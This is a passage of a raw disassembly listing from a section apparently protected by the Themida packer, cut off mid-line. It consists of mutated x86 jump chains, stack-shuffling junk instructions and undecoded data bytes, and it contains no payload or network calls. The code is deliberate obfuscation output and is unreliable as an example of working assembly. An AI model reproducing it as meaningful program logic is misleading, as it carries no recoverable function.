; --------------------------------------------------------------------------- loc_5591BF: ; CODE XREF: Themida_:0055F6F9j push dword ptr [esp] jmp loc_554E97 ; --------------------------------------------------------------------------- db 87h dd 0D0E9240Ch db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5591CF: ; CODE XREF: Themida_:00559042j add esp, 4 jmp loc_55A2E0 ; --------------------------------------------------------------------------- db 48h dd 34453548h, 0C201696Bh, 0E9525558h, 0FFFFF69Ch, 241C875Ch dd 6624248Bh, 2404AB0Fh, 9604E99Ch, 34FFFFFFh, 2434FF24h dd 4C48158h, 0E9000000h, 8F14h, 458EC581h, 815852A2h, 4D2AEEEEh dd 8C5AE974h, 478F0000h, 95D8E940h, 22BEFFFFh, 9086323h dd 0C9355EF0h, 21421C58h, 0EAC158C2h, 0BFF28105h, 0E9477506h dd 0FFFFBADCh ; --------------------------------------------------------------------------- loc_559244: ; CODE XREF: Themida_:00564D82j add eax, 4 xchg eax, [esp] pop esp add dword ptr [esp+4], 176478CEh add [esp+4], edi push ecx jmp loc_5543B0 ; --------------------------------------------------------------------------- db 57h dd 297F0CBFh, 0C2EF8141h, 0D17BD876h, 10E781EFh, 0E96D576Ah dd 0C2CCh, 0CC8065B4h, 0C0CCFE0Fh, 0B15107E4h, 0E9D1F690h dd 2D8Ch ; --------------------------------------------------------------------------- loc_55928C: ; CODE XREF: Themida_:00553EC2j add esi, 4 xchg esi, [esp] jmp loc_553F4C ; --------------------------------------------------------------------------- loc_55929A: ; CODE XREF: Themida_:0055F34Ej mov ch, 62h shl ch, 1 or ch, 0F8h push 7004h mov [esp], edx mov dl, 96h inc dl not dl push ebx mov bh, 1Fh dec bh push dx mov dl, 1 jmp loc_55AA47 ; --------------------------------------------------------------------------- aSASU db 'S·',8,'€Ç<éßu',0 align 4 loc_5592C8: ; CODE XREF: Themida_:00564DA5j pop edi add eax, edi jmp loc_56429A ; --------------------------------------------------------------------------- dd 4C78159h, 0E9000000h, 0CB0Ah ; --------------------------------------------------------------------------- loc_5592DC: ; CODE XREF: Themida_:005627A1j add esp, 4 sub ebx, 4 push 6704h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov cl, 8 sub cl, 1 jmp loc_566B14 ; --------------------------------------------------------------------------- dd 8EE9EB31h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55930F: ; CODE XREF: Themida_:0055A29Dj push eax jmp loc_563744 ; --------------------------------------------------------------------------- db 31h, 0CFh, 31h dd 0E9CF31F9h, 9F61h, 33243C31h, 665C243Ch, 0E924048Bh dd 0CC47h, 0E9243433h, 0BB9Bh, 0E95166ACh, 0FFFFB010h ; --------------------------------------------------------------------------- loc_559340: ; CODE XREF: Themida_:005533B6j add esp, 4 push edi push esp pop edi push ebx jmp loc_5617E0 ; --------------------------------------------------------------------------- loc_55934F: ; CODE XREF: Themida_:00557CA9j pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx jmp loc_564D70 ; --------------------------------------------------------------------------- db 1, 0C8h, 59h dd 0B92DC801h, 8B6A7D7Dh, 8952240Ch, 4C281E2h, 0E9000000h dd 0B58Dh, 0E93C77FFh, 5445h, 24048B66h, 3B5168h, 559CE900h dd 52580000h, 84A2E9h db 0 ; --------------------------------------------------------------------------- loc_55939D: ; CODE XREF: Themida_:00561162j mov ecx, 3FB67DBCh xor ecx, 3FB67DB8h add edi, ecx jmp loc_566E94 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 9713E900h, 665B0000h, 66427C68h, 51241489h, 0B65240B1h dd 67ABE976h, 34FF0000h, 2434FF24h, 582434FFh, 8304C483h dd 545704C4h, 81243C8Bh, 4C4h, 4C78100h, 51000000h, 0FFA6A9E9h dd 0EFC681FFh, 81362F57h, 236CCBEEh, 0A6B2E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559406: ; CODE XREF: Themida_:0056313Cj movzx eax, al mov dx, [esp] sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_554C41 ; --------------------------------------------------------------------------- db 4Fh, 0C1h, 0E7h dd 81E7D108h, 17A1CDEFh, 5FF821A3h, 0D36BE9h db 0 ; --------------------------------------------------------------------------- loc_55943D: ; CODE XREF: Themida_:005659B9j mov esi, esp jmp loc_5676B5 ; --------------------------------------------------------------------------- loc_559444: ; CODE XREF: Themida_:0056661Fj add ebx, edi push dword ptr [ebx] add dword ptr [esp], 67BD62A1h pop ecx sub ecx, 67BD62A1h pop ebx push 4282h jmp loc_5627C0 ; --------------------------------------------------------------------------- loc_559461: ; CODE XREF: Themida_:00557B88j add esp, 4 jmp loc_5549E5 ; --------------------------------------------------------------------------- loc_55946C: ; CODE XREF: Themida_:00553E71j add bl, 26h sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_55C8E8 ; --------------------------------------------------------------------------- loc_559482: ; CODE XREF: Themida_:005538A3j shl ecx, 7 neg ecx neg ecx sub ecx, 8F2026FCh jmp loc_55F331 ; --------------------------------------------------------------------------- dd 2410685Fh, 4890000h, 0D5BB5324h, 896D540Ch, 0EBDEE9D8h dd 74FFFFFFh, 34FF0424h, 240C8B24h, 0E904C483h, 0FFFFBC14h ; --------------------------------------------------------------------------- loc_5594BC: ; CODE XREF: Themida_:00563F00j push ebx push esp pop ebx push eax mov eax, 4 add ebx, eax pop eax push esi mov esi, 1CB60754h dec esi sub esi, 1CB6074Fh add ebx, esi pop esi xchg ebx, [esp] pop esp and eax, esi mov esi, [esp] add esp, 4 jmp loc_55ED2B ; --------------------------------------------------------------------------- aYsat db 'YéaT',0 align 2 loc_5594F2: ; CODE XREF: Themida_:00564707j or edx, eax shl edx, 1 jmp loc_55DCB0 ; --------------------------------------------------------------------------- db 0B9h dd 786600A0h, 4BBBC181h, 0BB53259Eh, 35E267Ch, 0E906EBC1h dd 7790h, 15AD189h, 3594E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55951E: ; CODE XREF: Themida_:00567073j mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp jmp loc_556BE0 ; --------------------------------------------------------------------------- dd 815FFD89h, 820256C5h, 4DD5F748h, 0FFB88DE9h, 4C483FFh dd 68h, 243C2900h, 10CF815Fh, 813D3B62h, 84377C7h, 5FF8298Bh dd 1D489A2Dh, 58F52D60h, 0D829042Ch, 0FFF52BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55956D: ; CODE XREF: Themida_:00561F5Bj or eax, eax jmp loc_55309B ; --------------------------------------------------------------------------- dd offset dword_4E0374+0F4h dd 242C8900h, 42474FFh, 0FFFA19E9h, 42EE80FFh, 0D1E95266h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55958F: ; CODE XREF: Themida_:00556EB3j add ebp, 4 xchg ebp, [esp] pop esp xchg edx, ebx xchg ebx, ebp jmp loc_552F4A ; --------------------------------------------------------------------------- db 89h dd 0D3015EF3h, 4E44E9h, 81D70100h, 2E1C6DEFh, 24148B49h dd 4EC81h, 34890000h, 3506E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5595C2: ; CODE XREF: Themida_:00557DFFj add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_5668DE ; --------------------------------------------------------------------------- db 5 dd 0BDABFEFEh, 3E59EF81h, 0C7296B80h, 3E59C781h, 57586B80h dd 42474FFh, 0E9243C8Bh, 0FFFFC6D3h, 3BD56858h, 0C890000h dd 56595424h, 0B951E689h, 4, 8359CE01h, 343304EEh, 24343124h dd 0FFDC9BE9h, 0FE015AFFh, 0A7E9525Fh db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559627: ; CODE XREF: Themida_:0055B935j pop eax or ebx, edx mov edx, [esp] add esp, 4 xor ebx, 67FA695Ch mov edx, ebx jmp loc_554D88 ; --------------------------------------------------------------------------- aSvx db ']éVx',0 db 0 ; --------------------------------------------------------------------------- loc_559643: ; CODE XREF: Themida_:0055E239j shl esi, 8 jmp loc_563EAC ; --------------------------------------------------------------------------- db 83h dd 4DE904C4h, 540000BFh, 2A5E9h db 0 ; --------------------------------------------------------------------------- loc_559659: ; CODE XREF: Themida_:00562038j pop ecx add eax, esi pop esi jmp loc_558C63 ; --------------------------------------------------------------------------- dw 0C8Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_564CAB ; --------------------------------------------------------------------------- loc_559673: ; CODE XREF: Themida_:00566EE9j add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp shr ecx, 7 push ecx mov ecx, esp jmp loc_55B006 ; --------------------------------------------------------------------------- loc_55968B: ; CODE XREF: Themida_:0055BB22j mov edx, esp add edx, 4 jmp loc_55ABDB ; --------------------------------------------------------------------------- dd 5004C483h, 4B8h, 1FC68100h, 813B072Eh, 497CA8C6h, 0E9C6010Dh dd 0C326h, 33243C31h, 16E9243Ch, 66FFFFF9h, 51240C8Bh dd 2434FF54h, 0E3895359h, 7721B951h, 0F1811033h, 6A21303Ch dd 7DE2E9h db 0 ; --------------------------------------------------------------------------- loc_5596DD: ; CODE XREF: Themida_:0055B558j shl ecx, 1 xchg ebx, ecx not ebx xchg ebx, ecx push edx mov edx, 44DE5DA8h or ecx, edx jmp loc_564078 ; --------------------------------------------------------------------------- dw 0D605h dd 29779C19h, 19D62DC8h, 0E959779Ch, 3984h ; --------------------------------------------------------------------------- loc_559704: ; CODE XREF: Themida_:00561604j add esi, 4 xchg esi, [esp] jmp loc_55426C ; --------------------------------------------------------------------------- db 50h dd 405E089h, 83000000h, 4FE904E8h db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55971F: ; CODE XREF: Themida_:00560C68j sub esp, 4 mov [esp], ebp push 4 mov ebp, [esp] add esp, 4 sub esi, 1ED61017h add esi, ebp add esi, 1ED61017h pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] and eax, ebp jmp loc_55D29E ; --------------------------------------------------------------------------- dd 4BEh, 5EF72900h, 8B243C87h, 0A1E92424h, 59000076h, 5C243487h dd 0E9C8BE0Fh, 0FFFFE664h, 0FF9081E9h db 0FFh ; --------------------------------------------------------------------------- loc_55977D: ; CODE XREF: Themida_:0055FD05j push eax mov eax, 6CF767F1h shr eax, 8 neg eax shr eax, 3 push esi mov esi, 5F744019h xor eax, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], eax xor dword ptr [esp], 2CA01131h pop esi xor esi, 2CA01131h pop eax sub dword ptr [esp+8], 55947508h sub [esp+8], esi add dword ptr [esp+8], 55947508h pop esi push dword ptr [esp] pop ebp add esp, 4 jmp loc_55A391 ; --------------------------------------------------------------------------- dw 5F54h dd 0BBF7E9h, 48B6600h, 0C66CE924h, 9A050000h, 51601D48h dd 0CEFBE953h, 0F128FFFFh, 5A66E980h, 0B353D4B2h, 0F6C3FEF6h dd 80C3FEDBh, 1E92BC3h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559807: ; CODE XREF: Themida_:00560085j mov bl, ah pop eax push edx mov dl, bl mov [edi+eax*4], dl mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 jmp loc_5527FE ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0D0341FBFh, 0C758E90Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559842: ; CODE XREF: Themida_:00564B27j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp or edx, eax jmp loc_559D54 ; --------------------------------------------------------------------------- db 0ADh dd 0B67912Dh, 1E9D683Ah, 0C890000h, 189AB924h, 87E964F2h dd 81FFFFFEh, 4C4h, 0D39DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559876: ; CODE XREF: Themida_:0055481Fj xor esi, [esp] jmp loc_55A4BF ; --------------------------------------------------------------------------- loc_55987E: ; CODE XREF: Themida_:00553A53j pop edx push edi jmp loc_554F55 ; --------------------------------------------------------------------------- db 1, 0C7h, 8Bh dd 0DCE92404h, 0BE000088h, 11850D8Dh, 0FFE2CDE9h, 24248BFFh dd 240C8B66h, 51E68956h, 0B67CE9h db 0 ; --------------------------------------------------------------------------- loc_5598A9: ; CODE XREF: Themida_:00558276j sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_55FB8F ; --------------------------------------------------------------------------- loc_5598BC: ; CODE XREF: Themida_:00557620j mov esp, [esp] add ebp, 4 jmp loc_562806 ; --------------------------------------------------------------------------- db 81h dd 275EBECBh, 35EB8103h, 10C1912h, 0F9015BD9h, 4C89E981h dd 0D9E9570Eh db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5598E3: ; CODE XREF: Themida_:0055C4A4j mov [esp], ebx mov ebx, 4 push ecx jmp loc_55B649 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EE010000h, 0D733E95Dh, 48F0000h, 0E7895724h, 4C781h dd 0EF810000h, 4, 4B51E9h, 2404FF00h, 0FFEDCBE9h, 2434FFFFh dd 4C4835Bh, 0DBDE9h, 240C8B00h, 6804C483h, 29E3h, 0B9240C89h dd 399F55C5h, 1AD9F181h, 0CF210BCFh, 81240C8Bh, 4C4h, 62E95100h dd 0BA000036h, 4FD9218Fh, 1056E9h db 0 ; --------------------------------------------------------------------------- loc_55995D: ; CODE XREF: Themida_:005631B3j push ebp mov ebp, 4 mov edi, ebp pop ebp add eax, 50D85CEBh add eax, edi sub eax, 50D85CEBh pop edi xchg eax, [esp] pop esp jmp loc_562696 ; --------------------------------------------------------------------------- loc_55997C: ; CODE XREF: Themida_:00552972j pop ecx add esi, 3B3109Dh add esi, ebx sub esi, 3B3109Dh jmp loc_554EFD ; --------------------------------------------------------------------------- loc_559990: ; CODE XREF: Themida_:005573A4j sub esp, 4 jmp loc_55494F ; --------------------------------------------------------------------------- dd 8B2434FFh, 0BCE9243Ch, 5F000046h, 4C781h, 56500000h dd 0C15586BEh, 0BCAAE967h, 43E9FFFFh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5599BB: ; CODE XREF: Themida_:0055FD24j mov esi, esp add esi, 4 jmp loc_564E49 ; --------------------------------------------------------------------------- loc_5599C8: ; CODE XREF: Themida_:0055B3AEj mov ch, bh pop ebx mov eax, [esp] jmp loc_556639 ; --------------------------------------------------------------------------- loc_5599D3: ; CODE XREF: Themida_:0055BF3Aj pop ecx jmp loc_5648ED ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHs9 db '$há9',0 align 2 dw 0C89h aIss7fnso db '$‰áS»Ú7fnéoÍ',0 align 2 aPsx db 'PéXµ',0 align 4 dd 1EF8147h, 0E9000000h, 758Ch, 0C520C681h, 0C58115F2h dd 7AE96610h, 0ED81F501h, 7AE96610h, 1B85E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559A1E: ; CODE XREF: Themida_:0055FA39j add ebx, 4C71419Bh dec ebx jmp loc_5629B5 ; --------------------------------------------------------------------------- aTxhk3 db 'TXhª3',0 dd 240C8900h, 240572B9h, 53D9F733h, 3C388ABBh, 0E9D3F746h dd 0FFFFEFEFh, 8158C621h, 88BEEh, 0A553E924h, 4BBFFFFh dd 1000000h, 0FF555BDDh, 8B042474h, 0E951242Ch, 0C7F8h dd 8124348Bh, 4C4h, 241C8700h, 241C895Ch, 766268h, 24248900h dd 0AA1E9h, 1B5F6800h, 555D42CEh, 0AE6C4ABDh, 40E58167h dd 4D14A61Dh, 0C581D5F7h, 3C203777h, 0FD4ED81h, 46E9F4ACh dd 53FFFFCCh, 4EC81h, 0C890000h, 4EC8124h, 89000000h, 0E952241Ch dd 70BBh, 4BBh, 0C9C78100h, 0E94C4824h, 80C0h, 7D94EE81h dd 0D9E977E2h, 5D0000D5h, 5DEB68h, 24148900h, 4BAh, 0A49E900h dd 895C0000h, 0E189240Ch, 4EC81h, 14890000h, 0C82EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559B0A: ; CODE XREF: Themida_:00561D38j push 22Fh mov [esp], edi mov edi, 73F02644h jmp loc_564DAA ; --------------------------------------------------------------------------- dd 0F4EA815Bh, 0E95E801Ch, 0FFFF9834h ; --------------------------------------------------------------------------- loc_559B28: ; CODE XREF: Themida_:00552E35j push eax jmp loc_5610A5 ; --------------------------------------------------------------------------- dw 0BD68h dd 89000005h, 74FF2434h, 8F5E0424h, 0CEE92404h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559B43: ; CODE XREF: Themida_:0056332Ej sub eax, 15C0FFCh add ebp, eax jmp loc_5612D4 ; --------------------------------------------------------------------------- db 81h dd 0E3AA15EAh, 5AD101CFh, 31240C33h, 0C33240Ch, 24248B24h dd 3C762135h, 242C8B46h, 0E904C483h, 0FFFF8C8Ah, 24BF6657h dd 0C7816656h, 2CE9FD4Fh, 100005Dh, 1C8B59C8h, 4C48124h dd 2D000000h, 4, 5C240487h, 8B243489h, 0C483241Ch, 2434FF04h dd 5024348Bh, 6853E089h, 4, 4CAE9h, 2434FF00h, 5724048Bh dd 0BB53E789h, 1677064Bh, 336C68h, 241C8900h, 5B2414F7h dd 7B98F381h, 0EB81279Ah, 662A2831h, 59F7EB81h, 0DF0167E8h dd 4EC835Bh, 0DAC0E9h, 75685500h, 0E9000038h, 3EA9h, 8904EC83h dd 98BF243Ch, 12E7B32h, 243C8BF8h, 81E18951h, 4C1h, 4C18300h dd 0D00EE9h, 1C77FF00h, 6659669Dh, 9C2414D3h, 0FF8BD5E9h dd 8BD0E9FFh, 0CE81FFFFh, 303145A3h, 25C7CE81h, 0C68134E2h dd 140B2E8Fh, 9C72EE81h, 0F22949FEh, 2414875Eh, 0E924248Bh dd 0FFFFCD51h, 4240481h, 5E000000h, 0FFD354E9h, 0E3C281FFh dd 151297Dh, 0E3EA81CAh, 0FF51297Dh, 38E92434h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559C77: ; CODE XREF: Themida_:00561001j sub ebx, 74D65CBAh xor edi, ebx pop ebx jmp loc_55CD14 ; --------------------------------------------------------------------------- loc_559C85: ; CODE XREF: Themida_:005585BEj mov [esp], eax push edi mov edi, 41F873EAh or edi, 647C6B3Eh sub edi, 36631755h or edi, 229B4528h add edi, 0F00DEF79h mov eax, edi pop edi mov edx, 5E5A035Dh xor edx, eax pop eax sub edx, 21522D9Eh xor eax, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_55E91D ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aWicuh_ db '$W‰çUh,.',0 align 2 dw 489h dd 311CB824h, 0E0C142E9h, 8725E902h, 0F0240000h, 0C5883F2Ch dd 0E9EF8858h, 7CA4h, 6624248Bh, 9C2404D3h, 0FF8B01E9h dd 62A568FFh, 14890000h, 15E9E924h, 0C4810000h, 4, 0EAE9C529h dd 8B00000Ah, 89662424h, 0F66240Ch, 67E9C8B6h, 52FFFFD4h dd 0B5E9E289h, 1FFFFEAh, 0B122E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559D36: ; CODE XREF: Themida_:005541B0j mov edi, 5BE74574h sub eax, edi mov edi, [esp] add esp, 4 push eax pop ebp push dword ptr [esp] pop eax push ebx push esp pop ebx jmp loc_566A74 ; --------------------------------------------------------------------------- loc_559D54: ; CODE XREF: Themida_:0055984Ej shl edx, 1 sub esp, 4 jmp loc_55F3BB ; --------------------------------------------------------------------------- aISn db '‰$$éN¿',0 align 2 dw 34FFh dd 54525924h, 4C2815Ah, 81000000h, 4C2h, 24143300h, 33241431h dd 248B2414h, 44686624h, 0B1ABE928h, 0ED81FFFFh, 0D8A3977Fh dd 1853EF81h, 0EF011EBDh, 8D98E9h, 5303B500h, 397CE9h db 0 ; --------------------------------------------------------------------------- loc_559DA9: ; CODE XREF: Themida_:00561216j jmp loc_5527FE ; --------------------------------------------------------------------------- dw 0E1F7h dd 9ADE9h, 0E9C14900h, 8E1C103h, 0A6C3F181h, 0C781B280h dd 73207D5Ah, 0EF81CF29h, 73207D5Ah, 8BF80159h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_563E3D ; --------------------------------------------------------------------------- dw 0E781h dd 52B60939h, 70A5CF81h, 814F5AB7h, 5F5842F7h, 81D7F735h dd 0C89F56F7h, 5FFD89F6h, 815DEE29h, 8071C2F6h, 8BB8E96Bh dd 0E7890000h, 6218E9h, 0F666400h, 686602B6h, 89665E21h dd 0DBE92404h, 89FFFF89h, 0EC81240Ch, 4, 89243C89h, 8BF989D7h dd 0C481243Ch, 4, 93E3E9h, 4C18100h, 55000000h, 363C68BDh dd 2EDC149h, 7DCEED81h, 684BA5h, 89000059h, 9ABF243Ch dd 4F163E3Dh, 0D7F7DFF7h, 356FE781h, 0CCE976F3h, 8B00008Ch dd 0D4E9240Ch db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E7B: ; CODE XREF: Themida_:00554572j mov ebp, 71204B9Eh push 1116h mov [esp], ecx jmp loc_557C1B ; --------------------------------------------------------------------------- db 89h, 0DFh, 5Bh dd 3C8BFB01h, 4C48324h, 14F8C381h, 0F3012BA9h, 14F8EB81h dd 0EB812BA9h, 2CCB0A88h, 0E924348Bh, 0FFFFC712h, 305BDD30h dd 240C8BE8h, 8104C483h, 4ECh, 240C8900h, 998CE9h db 0 ; --------------------------------------------------------------------------- loc_559ECD: ; CODE XREF: Themida_:0055C754j xor edx, [esp] xor [esp], edx mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_55F5D2 ; --------------------------------------------------------------------------- db 31h dd 24148BD3h, 3104C483h, 814F5BDFh, 6A6D1FEFh, 3488684Eh dd 14890000h, 148B5724h, 16A1E924h, 0C4810000h, 4, 0B4B45051h dd 0E1308DB1h, 0E924048Bh, 4C69h ; --------------------------------------------------------------------------- loc_559F20: ; CODE XREF: Themida_:0055594Dj xchg eax, [esp] pop esp mov [esp], eax push 20714A20h pop eax push 37F1126Dh push dword ptr [esp] pop ebp push edx push esp pop edx jmp loc_5636D1 ; --------------------------------------------------------------------------- dw 248Bh dd 0C8AF0F24h, 3DE99C51h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F4B: ; CODE XREF: Themida_:00566456j pop esp jmp loc_55B846 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHgh db '$hƒh',0 align 2 dw 489h aSt8 db '$éâ8',0 align 2 aMss7 db '¬Sé',7,'7',0 db 0 ; --------------------------------------------------------------------------- loc_559F69: ; CODE XREF: Themida_:00560A31j push dword ptr [esp] pop edi add esp, 4 push 4880h mov [esp], ecx jmp loc_554A9F ; --------------------------------------------------------------------------- loc_559F7D: ; CODE XREF: Themida_:0055435Fj pop ebx add bl, 70h jmp loc_55554C ; --------------------------------------------------------------------------- dw 159h dd 36BAE9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559F8E: ; CODE XREF: Themida_:0055D991j add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_5630FC ; --------------------------------------------------------------------------- loc_559FA2: ; CODE XREF: Themida_:00564073j add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5527FE ; --------------------------------------------------------------------------- dw 1489h aUs@ db '$Ué#@',0 dw 0F700h dd 17E9241Ch db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559FC7: ; CODE XREF: Themida_:00565642j add bl, ch jmp loc_562207 ; --------------------------------------------------------------------------- dw 3558h dd 204266D1h, 0B949E95Ah, 0DD30FFFFh, 0CDE9EB30h, 52FFFFC6h dd 0FF902BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559FE9: ; CODE XREF: Themida_:0055359Ej inc edx push eax jmp loc_5679D8 ; --------------------------------------------------------------------------- aZSy db '‡<$éY',7,0 align 4 dd 81240C8Bh, 4C4h, 83C80100h, 3C8904ECh, 305DE924h, 5400000h dd 2F1CC30Ah, 158C731h, 2434FFF8h, 4C4835Fh, 1A3DE9h, 0E9815900h dd 9C1DDCEh, 3159C889h, 2434FFF0h, 4C4815Eh, 51000000h dd 2252C1B9h, 0D9F74101h, 3C98C181h, 0C18124A7h, 23817F63h dd 0EA9AC181h, 56E9C306h, 68FFFFD0h, 3140h, 0E9240489h dd 0FFFFF192h, 343D9BAh, 2EC2811Ah, 0E96C88C1h, 7A02h dd 79E9D031h, 5B000091h, 55BD801h, 4, 0FFB44AE9h, 0E68956FFh dd 4C681h, 0C6830000h, 24348704h, 0BA6BE95Ch, 83AD0000h dd 0F00207Fh, 0FFFFAE84h, 7EC681FFh, 52551C26h, 0C281E289h dd 4, 8704EA83h, 248B2414h, 240C8924h, 15FDB850h, 0C1891A4Eh dd 582434FFh, 57585450h, 4BFh, 5FF80100h, 405h, 24048700h dd 1BB535Ch, 0E9000000h, 560Ah, 317BBE0Dh, 7E8C13Fh, 209DE9h dd 0C6815E00h, 4, 5604EE83h, 42474FFh, 24048F5Eh, 243C895Ch dd 0A0DEE950h, 0D529FFFFh, 74FF555Ah, 0E95D0424h, 8470h ; --------------------------------------------------------------------------- loc_55A12C: ; CODE XREF: Themida_:00562177j add ch, 0EDh jmp loc_55D851 ; --------------------------------------------------------------------------- dd 0EA81EA01h, 155E0AA5h, 2C1DC281h, 0F7E97159h, 0B4000044h dd 32F4805Dh, 8ADDE952h, 505EFFFFh, 7134C6B8h, 0C6354833h dd 290C9B0Bh, 24048BC5h, 0FFFBA1E9h, 2474FFFFh, 24148B04h dd 8F04C483h, 248B2404h, 48B6624h, 618FE924h, 0FDB90000h dd 2DAC729Bh, 6AE3745Eh, 74E9C829h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A193: ; CODE XREF: Themida_:0055E05Aj xchg ebp, [esp] mov esp, [esp] push ecx mov ecx, 14E64AA3h not ecx add ecx, 707656FEh add ebx, ecx pop ecx push ebx add dword ptr [esp], 529069D4h mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5545DB ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF93A8h, 5EEC15Fh, 7CD68h, 24048900h, 0DC10ACB8h dd 8E0C153h, 0DCE03540h, 2905B97Fh, 252A4C5Dh, 6F3A60BEh dd 4367BF57h, 0F8216192h, 685Fh, 4290000h, 0EE2D5824h dd 0E9AF927Ch, 0D6D0h, 24048B66h, 56E568h, 241C8900h, 90685B54h dd 8900003Dh, 17E92404h, 6800002Eh, 1918h, 0FF241C89h dd 8B042474h, 4CE9241Ch db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A243: ; CODE XREF: Themida_:0055490Bj add ebp, 4 sub ebp, 4 jmp loc_560537 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 5E08924h, 4, 5CA6E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A26A: ; CODE XREF: Themida_:00553F75j mov ebp, [esp] add esp, 4 add eax, edi push edx push 0 pop edx sub edx, 8191289h add edx, eax add edx, 8191289h add [edx], ecx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5554B7 ; --------------------------------------------------------------------------- loc_55A29A: ; CODE XREF: Themida_:00563351j shl cl, 5 jmp loc_55930F ; --------------------------------------------------------------------------- dw 0E953h dd 114Fh, 4E2C15Ah, 729DF281h, 0D089EDE4h, 2FC0E95Ah, 68560000h dd 7810h, 81242489h, 42404h, 815E0000h, 4C6h, 4685300h dd 5B000000h, 0E95BDE01h, 0FFFFF84Eh ; --------------------------------------------------------------------------- loc_55A2E0: ; CODE XREF: Themida_:005591D2j not esi push ebx jmp loc_5637BF ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 0E15E924h, 0C4810000h, 4, 4C581h dd 0C5810000h, 4, 2474FF55h, 48F5D04h, 0D8295C24h, 144FB951h dd 0E98161C0h, 0E858FE72h, 1846E9h db 0 ; --------------------------------------------------------------------------- loc_55A325: ; CODE XREF: Themida_:0056457Cj shr al, 2 not al jmp loc_55345E ; --------------------------------------------------------------------------- db 5 aPusbUrp9sfo db 'Úã‘ÆUR9éFO',0 db 0 ; --------------------------------------------------------------------------- loc_55A33F: ; CODE XREF: Themida_:0055F612j xor edx, 0A627E55Ch sub edi, edx pop edx sub eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_555030 ; --------------------------------------------------------------------------- aUBuC db 'Áî',8,'î',7,'š—',0 db 81h dd 6B631DEDh, 81F50149h, 6B631DC5h, 0AE95E49h, 8100002Ah dd 0EB3326C2h, 0E9C22930h, 0FFFF92D3h, 815FF931h, 4ECh dd 24148900h, 1796E9h db 0 ; --------------------------------------------------------------------------- loc_55A391: ; CODE XREF: Themida_:005597CDj pop dword ptr [edi+24h] loc_55A394: ; CODE XREF: Themida_:0055B98Bj push 7600h mov [esp], ebx push eax jmp loc_55EF1C ; --------------------------------------------------------------------------- dw 0EB83h dd 241C8704h, 2414895Ch, 0F680B5B6h, 650AE9DEh, 0EA830000h dd 24148704h, 5134E95Ch, 0D5890000h, 0B1F3E95Ah, 0C89FFFFh dd 4EE1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A3D2: ; CODE XREF: Themida_:0056201Ej sub edi, ecx jmp loc_564111 ; --------------------------------------------------------------------------- loc_55A3D9: ; CODE XREF: Themida_:00561C96j sub esp, 4 mov [esp], edi jmp loc_566063 ; --------------------------------------------------------------------------- loc_55A3E4: ; CODE XREF: Themida_:005579A1j pop ecx add edi, edx push ebp mov ebp, 40230A99h jmp loc_558196 ; --------------------------------------------------------------------------- dw 815Ah dd 4C2h, 4C28300h, 5C241487h, 